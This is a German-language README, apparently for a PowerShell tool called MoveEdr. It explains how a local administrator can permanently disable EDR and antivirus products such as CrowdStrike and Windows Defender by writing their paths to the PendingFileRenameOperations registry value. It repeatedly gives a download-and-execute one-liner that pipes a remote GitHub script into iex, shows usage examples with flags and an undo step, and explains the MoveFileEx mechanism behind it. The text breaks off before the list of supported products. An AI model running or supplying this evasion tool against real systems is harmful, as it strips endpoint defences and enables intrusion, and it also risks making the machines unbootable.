
EDRs dauerhaft als lokaler Administrator deaktivieren
Wenn du Administrator bist, kannst du Windows zwingen, Ordner und Dateien direkt nach dem Booten und vor dem Start von Diensten zu löschen oder zu verschieben. Das kann genutzt werden, um EDRs zu deaktivieren.
[!CAUTION] Es gibt ein Problem mit CrowdStrike, das zu einer Bootschleife mit der Meldung „INACCESSIBLE_BOOT_DEVICE" führt. Meine Theorie ist, dass entweder CrowdStrike selbst oder eine Softwareverteilungslösung versucht, die fehlenden CrowdStrike-Dateien zu installieren, dabei aber scheitert und sie in einem defekten Zustand hinterlässt. Ich bin nicht sicher, ob dies von der seit der Verschiebung verstrichenen Zeit oder von der Anzahl der durchgeführten Neustarts abhängt. CrowdStrike zum ersten Mal zu verschieben und neu zu starten funktioniert einwandfrei. Plane den Undo sicherheitshalber erst nach dem ersten Neustart ein.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
Die folgenden Flags sind verfügbar:
Undo : Macht die EDR-Verschiebung rückgängig, funktioniert mit CustomPathsClear: Löscht den Wert des RegistrierungsschlüsselsPrint: Gibt den Wert des Registrierungsschlüssels in einem menschenlesbaren Format aus, anstatt in nullterminierten ZeichenkettenCustomOnly: Standardmäßig werden die CustomPaths und FullyCustomPaths zu den integrierten Verschiebungen hinzugefügt. Dieses Flag stellt sicher, dass nur deine benutzerdefinierten Pfade verschoben werden.CustomPaths: Gib deine eigenen EDR-Pfade an, anstatt die integrierten zu verwenden. Akzeptiert nur Quellen als Eingaben; um auch das Ziel anzupassen, verwende stattdessen FullyCustomPaths.FullyCustomPaths : Gib Quellen und Ziele an; gibt dir Kontrolle über das Ziel, anstatt ein $Suffix zu verwenden.Suffix: Verwende ein anderes Suffix für verschobene Dateien anstelle des Standardwerts _bakDump: Gib die Werte des Registrierungsschlüssels in einem Format aus, das mit Load verwendet werden kannLoad: Lade zuvor ausgegebene Werte des RegistrierungsschlüsselsDefenderHard: Verschiebe nicht nur ausgewählte ausführbare Dateien von Windows Defender, sondern den gesamten Ordner Windows DefenderIgnoreOld: Vorhandene Werte des Registrierungsschlüssels nicht beibehalten, sondern blind überschreibenReboot: Führe sofort nach dem Setzen des Registrierungsschlüssels einen Neustart durch. Möglicherweise werden Windows-Updates ausgeführt und der Neustart dauert lange 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Manche Programme haben eine Funktion, die selbst lokalen Administratoren das Deinstallieren oder Deaktivieren verwehrt. Meistens handelt es sich um AVs/EDRs, die dich nach einem Deaktivierungspasswort fragen, selbst wenn du Administrator bist.
Hier ist ein Trick, um sie zu deaktivieren, indem du Dateien und Ordner verschiebst, sodass sie beim nächsten Bootvorgang nicht gestartet werden können.
PendMoves von SysInternals stellt movefile.exe bereit, das folgende Erklärung enthält:
Es gibt mehrere Anwendungen, wie Service Packs und Hotfixes, die eine in Benutzung befindliche Datei ersetzen müssen und dies nicht können. Windows stellt daher die MoveFileEx-API zum Umbenennen oder Löschen einer Datei bereit und ermöglicht dem Aufrufer anzugeben, dass der Vorgang beim nächsten Systemstart ausgeführt werden soll, bevor auf die Dateien zugegriffen wird. Der Session Manager führt diese Aufgabe aus, indem er die registrierten Umbenennungs- und Löschbefehle aus dem Wert HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations liest.
Wie genau macht MoveFileEx das? Schauen wir uns die Dokumentation an:
Die Funktion speichert die Speicherorte der beim Neustart umzubenennenden Dateien im folgenden Registrierungswert: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Dieser Registrierungswert ist vom Typ REG_MULTI_SZ. Jeder Umbenennungsvorgang speichert je nachdem, ob es sich um eine Löschung handelt oder nicht, eine der folgenden NULL-terminierten Zeichenketten:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Das bedeutet, dass wir denselben Effekt wie movefile.exe erzielen können, indem wir den Registrierungsschlüssel PendingFileRenameOperations erstellen und die Pfade der Dateien/Verzeichnisse, die wir löschen möchten, im korrekten REG_MULTI_SZ-Format eintragen.
Das MoveEdr-Skript automatisiert die Erstellung der korrekten Registrierungsschlüssel für die folgenden AVs/EDRs: